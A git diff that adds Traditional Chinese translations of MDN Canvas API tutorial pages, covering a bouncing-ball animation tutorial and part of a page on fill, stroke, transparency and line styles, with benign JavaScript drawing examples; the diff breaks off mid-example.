+ <li><a href="https://github.com/ericdrowell/KineticJS">Kinetic.js</a> is an open-source canvas library focused on interactivity for desktop and mobile applications.</li>
+ <li><a href="http://paperjs.org/">Paper.js</a> is an open source vector graphics scripting framework that runs on top of the HTML5 Canvas.</li>
+ <li><a href="http://origamijs.com/docs/">Origami.js</a> is an open source lightweight canvas library.</li>
+ <li><a href="http://libcanvas.github.com/">libCanvas</a> 是一個強大且輕量化的 canvas 框架。</li>
+ <li><a href="http://processingjs.org">Processing.js</a> 是視覺化程式語言 Processing 的移植版。</li>
+ <li><a href="https://playcanvas.com/">PlayCanvas</a> is an open source game engine.</li>
+ <li><a href="http://www.pixijs.com/">Pixi.js</a> is an open source game engine.</li>
+ <li><a href="http://www.liquidx.net/plotkit/">PlotKit</a> 是一個製作圖表和圖形的函式庫。</li>
+ <li><a class="link-https" href="https://github.com/jeremyckahn/rekapi">Rekapi</a> 是一個用來控制動畫影格的 Canvas API。</li>
+ <li><a href="http://senchalabs.github.com/philogl/">PhiloGL</a> 是一個可應用在資料視覺化、遊戲開發的 WebGL 框架。</li>
+ <li><a href="http://thejit.org/">JavaScript InfoVis Toolkit</a> 可在網頁上建立 2D 的互動式 Canvas 視覺化資料。</li>
+ <li><a href="http://www.createjs.com/easeljs">EaselJS</a> 是一個自由 / 開放源始碼的函式庫，目的在簡化 canvas 於遊戲與美術的開發難度，類似 Flash API。</li>
+ <li><a href="http://scrawl.rikweb.org.uk/">Scrawl-canvas</a> is another open-source javascript library for creating and manipulating 2d canvas elements</li>
+</ul>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-canvas-element.html", "Canvas")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/WebGL">WebGL</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/canvas_api/tutorial/advanced_animations/index.html b/files/zh-tw/web/api/canvas_api/tutorial/advanced_animations/index.html
new file mode 100644
index 0000000000..caacb185aa
--- /dev/null
+++ b/files/zh-tw/web/api/canvas_api/tutorial/advanced_animations/index.html
@@ -0,0 +1,376 @@
+---
+title: Advanced animations
+slug: Web/API/Canvas_API/Tutorial/Advanced_animations
+translation_of: Web/API/Canvas_API/Tutorial/Advanced_animations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}</div>
+
+<div class="summary">
+<p>在上一章節，我們做了一些<a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">基礎動畫</a>且知道它的移動方式。在這部分我們更仔細的介紹它的動畫效果且並增加一些特效，使它看起來更高級。</p>
+</div>
+
+<h2 id="畫一顆球">畫一顆球</h2>
+
+<p>在這次的動畫練習中使用球來練習。照著下面的步驟完成 canvas 設定。</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="600" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>照常理，先在canvas上需要先畫一顆球。創造一個 <code>ball</code> object，它包含的屬性和<code>draw()</code>的方法，使canvas可以在上面繪圖。</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+var ball = {
+  x: 100,
+  y: 100,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+ball.draw();</pre>
+
+<p>這裡沒什麼特別的，透過{{domxref("CanvasRenderingContext2D.arc()", "arc()")}}的方法，球事實上只是畫下簡單的圓。</p>
+
+<h2 id="添加速度">添加速度</h2>
+
+<p>現在有了一顆球，準備添加基礎的動畫像我們從<a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">上章節學到的課程</a>。再次使用{{domxref("window.requestAnimationFrame()")}}控制動畫。添加移動的向量速度使球移動到向量點。對於每個幀(frame)，我們使用{{domxref("CanvasRenderingContext2D.clearRect", "clear", "", 1)}}來清除canvas舊的移動幀(frame)。</p>
+
+<pre class="brush: js; highlight:[8,9,24,25]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();
+</pre>
+
+<h2 id="邊界">邊界</h2>
+
+<p>沒有任何邊界碰撞下，球很快就會跑出canvas。這時需要確認球的 <code>x</code> and <code>y</code> 是否超出 canvas 尺寸，若超出則將球的向量顛倒。所以，我們添加了確認條件在<code>draw</code>方法:</p>
+
+<pre class="brush: js">if (ball.y + ball.vy &gt; canvas.height || ball.y + ball.vy &lt; 0) {
+  ball.vy = -ball.vy;
+}
+if (ball.x + ball.vx &gt; canvas.width || ball.x + ball.vx &lt; 0) {
+  ball.vx = -ball.vx;
+}</pre>
+
+<h3 id="第一個示範">第一個示範</h3>
+
+<p>讓我們看看，看似很遠的行徑它如何行徑。移動你的滑鼠在canvas，使動畫開始。 </p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("First_demo", "610", "310")}}</p>
+
+<h2 id="加速性能">加速性能</h2>
+
+<p>為了使移動看起來更真實，你可以照著範例改變速度:</p>
+
+<pre class="brush: js">ball.vy *= .99;
+ball.vy += .25;</pre>
+
+<p>這個使每個幀(frame)的垂直向量減少，所以球將只會在地板彈跳直到結束。</p>
+
+<div class="hidden">
+<h6 id="Second_demo">Second demo</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  ball.vy *= .99;
+  ball.vy += .25;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Second_demo", "610", "310")}}</p>
+
+<h2 id="追蹤效果">追蹤效果</h2>
+
+<p>直到現在我們已經使用{{domxref("CanvasRenderingContext2D.clearRect", "clearRect")}}方法清除之前的幀(frames)。如果使用重置半透明{{domxref("CanvasRenderingContext2D.fillRect", "fillRect")}}這個方法，可以更淺顯的看出創造追蹤效果。</p>
+
+<pre class="brush: js">ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+ctx.fillRect(0, 0, canvas.width, canvas.height);</pre>
+
+<div class="hidden">
+<h6 id="Third_demo">Third demo</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+  ctx.fillRect(0, 0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  ball.vy *= .99;
+  ball.vy += .25;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Third_demo", "610", "310")}}</p>
+
+<h2 id="增加滑鼠控制">增加滑鼠控制</h2>
+
+<p>為了能控制球使它跟著滑鼠移動，在這個範例使用<code><a href="/en-US/docs/Web/Reference/Events/mousemove">mousemove</a></code> 效果。當 <code><a href="/en-US/docs/Web/Events/click">click</a></code> 事件觸發了這顆球，它又會開始彈跳。</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+var running = false;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 1,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function clear() {
+  ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+  ctx.fillRect(0,0,canvas.width,canvas.height);
+}
+
+function draw() {
+  clear();
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+
+  if (ball.y + ball.vy &gt; canvas.height || ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width || ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mousemove', function(e) {
+  if (!running) {
+    clear();
+    ball.x = e.clientX;
+    ball.y = e.clientY;
+    ball.draw();
+  }
+});
+
+canvas.addEventListener('click', function(e) {
+  if (!running) {
+    raf = window.requestAnimationFrame(draw);
+    running = true;
+  }
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+  running = false;
+});
+
+ball.draw();
+</pre>
+
+<p>用你的滑鼠移動這顆球且點擊鬆放它。</p>
+
+<p>{{EmbedLiveSample("Adding_mouse_control", "610", "310")}}</p>
+
+<h2 id="突破性(遊戲)">突破性(遊戲)</h2>
+
+<p>這個小章節只有解釋一些創造高級動畫的技巧。這裡還有更多!如何增加槳,磚塊,到這個 到 <a href="http://en.wikipedia.org/wiki/Breakout_%28video_game%29">Breakout</a> game demo去看，有我們更<a href="/en-US/docs/Games">多遊戲研發</a>的文章! </p>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li>{{domxref("window.requestAnimationFrame()")}}</li>
+ <li><a href="/en-US/docs/Games/Techniques/Efficient_animation_for_web_games">Efficient animation for web games</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}</p>
diff --git a/files/zh-tw/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html b/files/zh-tw/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html
new file mode 100644
index 0000000000..86e41e3476
--- /dev/null
+++ b/files/zh-tw/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html
@@ -0,0 +1,669 @@
+---
+title: 套用樣式與顏色
+slug: Web/API/Canvas_API/Tutorial/Applying_styles_and_colors
+translation_of: Web/API/Canvas_API/Tutorial/Applying_styles_and_colors
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_shapes", "Web/API/Canvas_API/Tutorial/Drawing_text")}}</div>
+
+<p>在<a href="/en-US/docs//zh-TW/docs/Web/Guide/HTML/Canvas_tutorial/Drawing_shapes" title="/en-US/docs//en-US/docs/Web/Guide/HTML/Canvas_tutorial/Drawing_shapes">繪畫圖形</a>章節中，我們只用了預設的線條與填滿樣式，而在本章，我們將進一步看看所有可用的樣式選項，畫出更吸引人的圖。</p>
+
+<h2 id="Colors" name="Colors">顏色</h2>
+
+<p>U截至目前為止我們只有看到繪圖環境的方法(methods)，如果我們想要設定圖形的顏色，我們有兩個屬性能用: <code>fillStyle</code>與<code>storkeStyle.</code></p>
+
+<dl>
+ <dt><code>fillStyle = <em>color</em></code></dt>
+ <dd>設定填滿圖形時用的顏色.</dd>
+ <dt><code>strokeStyle = <em>color</em></code></dt>
+ <dd>設定勾勒圖形時用的顏色.</dd>
+</dl>
+
+<p>其中<code>color</code>可以是CSS{{cssxref("&lt;color&gt;")}}表示字串、漸層色物件(gradient color)或是模式物件(pattern object)，現在先看一下CSS{&lt;color&gt;}表示字串，稍後再看另外兩個項目.</p>
+
+<p>預設上勾勒和填滿色是黑色(CSS顏色值為#000000).</p>
+
+<div class="note">
+<p><strong>Note:</strong> 一旦改變了strokeStyle的顏色值，那麼之後圖形勾勒顏色都會變成新顏色，同樣狀況一樣適用於fillStyle.</p>
+</div>
+
+<p>合格的顏色值請參照CSS3{{cssxref("&lt;color&gt;")}}規範，下面範例所標示的顏色都指向同一個顏色.</p>
+
+<pre class="brush: js">// these all set the fillStyle to 'orange'
+
+ctx.fillStyle = "orange";
+ctx.fillStyle = "#FFA500";
+ctx.fillStyle = "rgb(255,165,0)";
+ctx.fillStyle = "rgba(255,165,0,1)";
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> 目前Gecko引擎並不支援CSS3全部的顏色值，例如hsl(100%,25%,0)和rgb(0,100%,0)就不被支援.</p>
+</div>
+
+<h3 id="A_fillStyle_example" name="A_fillStyle_example"><code>fillStyle</code>範例</h3>
+
+<p>這裡我們利用兩個for迴圈來畫出一個矩形陣列，而且陣列中每一個矩形的顏色都不相同。下面程式碼透過改變i和j兩個變數來分別變換RGB中的紅色值和綠色值，然後為每一個矩形產生自己專屬的顏色值。透過改變RGB的各顏色值，我們可以產生各式各樣的調色盤，像是逐步調整顏色值，你也可以做出像Photoshop內建一樣的調色盤。</p>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i=0;i&lt;6;i++){
+    for (var j=0;j&lt;6;j++){
+      ctx.fillStyle = 'rgb(' + Math.floor(255-42.5*i) + ',' +
+                       Math.floor(255-42.5*j) + ',0)';
+      ctx.fillRect(j*25,i*25,25,25);
+    }
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>結果如下:</p>
+
+<p>{{EmbedLiveSample("A_fillStyle_example", 160, 160, "https://mdn.mozillademos.org/files/5417/Canvas_fillstyle.png")}}</p>
+
+<h3 id="A_strokeStyle_example" name="A_strokeStyle_example"><code>strokeStyle</code>範例</h3>
+
+<p>本例和前例相當類似，不同的是我們改用arc()方法畫圓形而不是矩形、改設定strokeStyle變換圖形輪廓顏色。</p>
+
+<pre class="brush: js">  function draw() {
+    var ctx = document.getElementById('canvas').getContext('2d');
+    for (var i=0;i&lt;6;i++){
+      for (var j=0;j&lt;6;j++){
+        ctx.strokeStyle = 'rgb(0,' + Math.floor(255-42.5*i) + ',' +
+                         Math.floor(255-42.5*j) + ')';
+        ctx.beginPath();
+        ctx.arc(12.5+j*25,12.5+i*25,10,0,Math.PI*2,true);
+        ctx.stroke();
+      }
+    }
+  }
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>結果如下:</p>
+
+<p>{{EmbedLiveSample("A_strokeStyle_example", "180", "180", "https://mdn.mozillademos.org/files/253/Canvas_strokestyle.png")}}</p>
+
+<h2 id="Transparency" name="Transparency">透明度</h2>
+
+<p>透過設定globalAlpha屬性或是以半透明顏色值設定strokeStyle與fillStyle屬性，除了畫不透明的圖形，我們還可以畫半透明的圖形。</p>
+
+<dl>
+ <dt><code>globalAlpha = <em>transparencyValue</em></code></dt>
+ <dd>允許值介於0.0(全透明)到1.0(不透明)。一旦設定後，之後畫布上畫的所有圖形的不透明度都會套用此設定值。預設值為1.0。</dd>
+</dl>
+
+<p>當我們想畫一系列相同不透明度的圖，設定globalAlpha值是一個方便的作法。</p>
+
+<p>由CSS3顏色值能夠指定不透明度，我們也可以如下面一般，設定strokeStyle以及fillStyle來變更不透明度。</p>
+
+<pre class="brush: js">// Assigning transparent colors to stroke and fill style
+
+ctx.strokeStyle = "rgba(255,0,0,0.5)";
+ctx.fillStyle = "rgba(255,0,0,0.5)";
+</pre>
+
+<p>rgba()函數比rgb()函數多出一個不透明度參數，允許值介於0.0(全透明)到1.0(不透明).</p>
+
+<h3 id="A_globalAlpha_example" name="A_globalAlpha_example"><code>globalAlpha</code>範例</h3>
+
+<p>下面我們將在四個方格色塊背景上畫一系列半透明圓形。對於所有圓形，我們藉由設置globalAlpha屬性值為0.2使得圓形變成半透明，然後for迴圈裡我們逐一增加圓形繪圖半徑，最終結果看起來便像是輻射狀漸層圖案，而且圓形相互疊加在彼此之上後，又加深了重疊區域的不透明度，只要我們不斷增加圓形數量，最後圖片中央將被完全遮蓋，看不到背後的背景。</p>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  // draw background
+  ctx.fillStyle = '#FD0';
+  ctx.fillRect(0,0,75,75);
+  ctx.fillStyle = '#6C0';
+  ctx.fillRect(75,0,75,75);
+  ctx.fillStyle = '#09F';
+  ctx.fillRect(0,75,75,75);
+  ctx.fillStyle = '#F30';
+  ctx.fillRect(75,75,150,150);
+  ctx.fillStyle = '#FFF';
+
+  // set transparency value
+  ctx.globalAlpha = 0.2;
+
+  // Draw semi transparent circles
+  for (i=0;i&lt;7;i++){
+    ctx.beginPath();
+    ctx.arc(75,75,10+10*i,0,Math.PI*2,true);
+    ctx.fill();
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_globalAlpha_example", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}</p>
+
+<h3 id="An_example_using_rgba()" name="An_example_using_rgba()"><code>rgba()</code>使用範例</h3>
+
+<p>這個範例類似於上面的範例，但不同的是我們改畫半透明的矩形。rgba()在使用上會多一點彈性，因為我們可以分別設置勾勒和填滿圖形的不透明度。</p>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Draw background
+  ctx.fillStyle = 'rgb(255,221,0)';
+  ctx.fillRect(0,0,150,37.5);
+  ctx.fillStyle = 'rgb(102,204,0)';
+  ctx.fillRect(0,37.5,150,37.5);
+  ctx.fillStyle = 'rgb(0,153,255)';
+  ctx.fillRect(0,75,150,37.5);
+  ctx.fillStyle = 'rgb(255,51,0)';
+  ctx.fillRect(0,112.5,150,37.5);
+
+  // Draw semi transparent rectangles
+  for (var i=0;i&lt;10;i++){
+    ctx.fillStyle = 'rgba(255,255,255,'+(i+1)/10+')';
+    for (var j=0;j&lt;4;j++){
+      ctx.fillRect(5+i*14,5+j*37.5,14,27.5)
+    }
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("An_example_using_rgba()", "180", "180", "https://mdn.mozillademos.org/files/246/Canvas_rgba.png")}}</p>
+
+<h2 id="Line_styles" name="Line_styles">線條樣式</h2>
+
+<p>有數種屬性可以讓我們設定線條樣式.</p>
+
+<dl>
+ <dt><code>lineWidth = <em>value</em></code></dt>
+ <dd>設定線條寬度。</dd>
+ <dt><code>lineCap = <em>type</em></code></dt>
+ <dd>設定線條結尾的樣式。</dd>
+ <dt><code>lineJoin = <em>type</em></code></dt>
+ <dd>設定線條和線條間接合處的樣式。</dd>
+ <dt><code>miterLimit = <em>value</em></code></dt>
+ <dd>限制當兩條線相交時交接處最大長度；所謂交接處長度(miter length)是指線條交接處內角頂點到外角頂點的長度。</dd>
+</dl>
+
+<p>底下我們將一一示範這些屬性的用途。</p>
+
+<h3 id="A_lineWidth_example" name="A_lineWidth_example"><code>lineWidth</code>範例</h3>
+
+<p>此屬性決定線條寬度，必須為正數，預設值為1.0單位。</p>
+
+<p>線條寬度的起算點是從繪圖路徑中央開始往兩旁各延伸一半設定寬度，由於畫布座標不直接對應到像素(pixel)，所以要比較小心設定好取得清晰的直線。</p>
+
+<p>由下方例子可以明顯看到，畫布上有10條直線，由左至右，從最小的1.0單位寬開始逐漸加寬，請注意奇數寬度直線會因為繪圖路徑位置關係而比較模糊。</p>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i &lt; 10; i++){
+    ctx.lineWidth = 1+i;
+    ctx.beginPath();
+    ctx.moveTo(5+i*14,5);
+    ctx.lineTo(5+i*14,140);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_lineWidth_example", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}</p>
+
+<p>為了畫出清晰的直線，我們需要了解繪圖路徑是如何產生；如下方圖示，網格代表畫布座標軸，網格所框出的方格則代表螢幕上的像素，第一張圖片填滿了座標(2,1)到(5,5)的紅色區域，而這個紅色區域的邊際正好符合像素間的邊際，所以會產生出清晰的影像。</p>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/201/Canvas-grid.png"></p>
+
+<p>第二張圖片中，有一條寬1.0單位的直線從座標(3,1)到(3,5)被畫在畫布上，不過由於線條寬度的起算點是從繪圖路徑中央開始往兩旁各延伸一半設定寬度，所以當勾勒線條時，繪圖路徑兩旁的像素格只有一半會被填滿暗藍色，至於另外一半則會經由計算填入近似色(淡藍色)，結果就是整格像素並非全部填入相同的暗藍色，進而產生出邊緣較為模糊的線條，上面程式碼範例中的奇數寬度直線就是因此而產生不清晰的線條。</p>
+
+<p>為了避免劃出邊緣模糊直線，我們必須精準設定繪圖路徑位置，就本範例而言，如果我們的直線繪圖路徑是從座標(3.5, 1)到(3.5, 5)的話(如第三張圖)，那麼1.0單位寬的直線將剛好填滿像素格，所以我們將可以畫出清晰的直線。</p>
+
+<div class="note">
+<p><strong>Note:</strong> 請注意本範例的Y軸座標都是整數點，若非如此，一樣會導致線條端點的像素格無法剛好被填滿的現象，而且同時最後產生的結果也會被lineCap給影響；倘若lineCap值為預設butt時，我們會需要為奇數寬度直線計算一下非整數的座標點，倘若lineCap樣式為square，那麼線段端點的像素格將自動被完整填滿。</p>
+
+<p>還有一點需要注意，只要繪圖路徑被closePath()函數閉合起來，這樣便沒有了線條端點，所有的線條端點都會依據lineJoin樣式全部前後互相連接起來，這會自動延伸端點邊緣到線段接合處，如果此時接合端點是水平或垂直的話，位於中央的像素格將會被完整填滿。後面的說明會介紹lineCap和lineJoin樣式。</p>
+</div>
+
+<p>至於本例中偶數寬度的直線，為了避免模糊，繪圖路徑最好是落在整數座標點上。</p>
+
+<p>雖然處裡2D繪圖縮放有些麻煩，但只要仔細計算像素格和繪圖路徑位置，縱使進行圖像縮放或變形，圖像輸出還是可以保持正確。一條寬1.0單位的直線，只要位置計算正確，放大兩倍後會變成一條2個像素寬的清晰直線，而且還是會保持正確位置。</p>
+
+<h3 id="A_lineCap_example" name="A_lineCap_example"><code>lineCap</code>範例</h3>
+
+<p>這個屬性決定線條端點的樣式，總共有三種樣式可選:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/236/Canvas_linecap.png" style="float: right; height: 190px; width: 190px;"></p>
+
+<dl>
+ <dt><code>butt</code></dt>
+ <dd>線條端點樣式為方形</dd>
+ <dt><code>round</code></dt>
+ <dd>線條端點樣式為圓形</dd>
+ <dt><code>square</code></dt>
+ <dd>增加寬同線條寬度、高線條寬度一半的的方塊於線條端點</dd>
+</dl>
+
+<p>下面程式碼會畫出三條線，每條線的lineCap值皆不同。然後為了看清差異點，我們加上了兩條淡藍色的輔助線，線條的繪圖起始點和終點都剛好落在輔助線上。</p>
+
+<p>最左邊的線條其lineCap為butt，不難看出它完全介於輔助線之間；第二條線其lineCap為round，端點樣式為半徑等於線條寬度一半的半圓；最右邊的線條其lineCap為square，端點樣式為寬同線條寬度、高線條寬度一半的的方塊。</p>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var lineCap = ['butt','round','square'];
+
+  // Draw guides
+  ctx.strokeStyle = '#09f';
+  ctx.beginPath();
+  ctx.moveTo(10,10);
+  ctx.lineTo(140,10);
+  ctx.moveTo(10,140);
+  ctx.lineTo(140,140);
+  ctx.stroke();
+
+  // Draw lines
+  ctx.strokeStyle = 'black';
+  for (var i=0;i&lt;lineCap.length;i++){
+    ctx.lineWidth = 15;
+    ctx.lineCap = lineCap[i];
+    ctx.beginPath();
+    ctx.moveTo(25+i*50,10);
+    ctx.lineTo(25+i*50,140);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_lineCap_example", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}</p>
+
+<h3 id="A_lineJoin_example" name="A_lineJoin_example"><code>lineJoin</code>範例</h3>
+
+<p>lineJoin屬性決定兩個連接區端(如線條、弧形或曲線)如何連接(對於長度為零，亦即終點和控制點為同一點的圖形無效)。</p>
+
+<p>lineJoin屬性共有三個屬性值如下，其中miter為預設值，請注意一點若是兩個連接區段的繪圖方向一致，那代表不會有連接處，所以測定是無效的。</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/237/Canvas_linejoin.png" style="float: right; height: 190px; width: 190px;"></p>
+
+<dl>
+ <dt><code>round</code></dt>
+ <dd>代表圓弧型連接樣式。</dd>
+ <dt><code>bevel</code></dt>
+ <dd>代表斜面型連接樣式。在連接區段的共同終點處填滿一個三角形區域，將原本的外接角處形成一個切面。</dd>
+ <dt><code>miter</code></dt>
+ <dd>代表斜交型連接樣式。向外延伸連結區段外緣直到相交於一點，然後形成菱形區域，而miterLimit屬性會影響miter屬性。</dd>
+</dl>
+
+<p>下方程式碼和圖形輸出展示了lineJoin在不同屬性值下呈現的不同結果</p>
+
+<pre class="brush: js">function draw() {
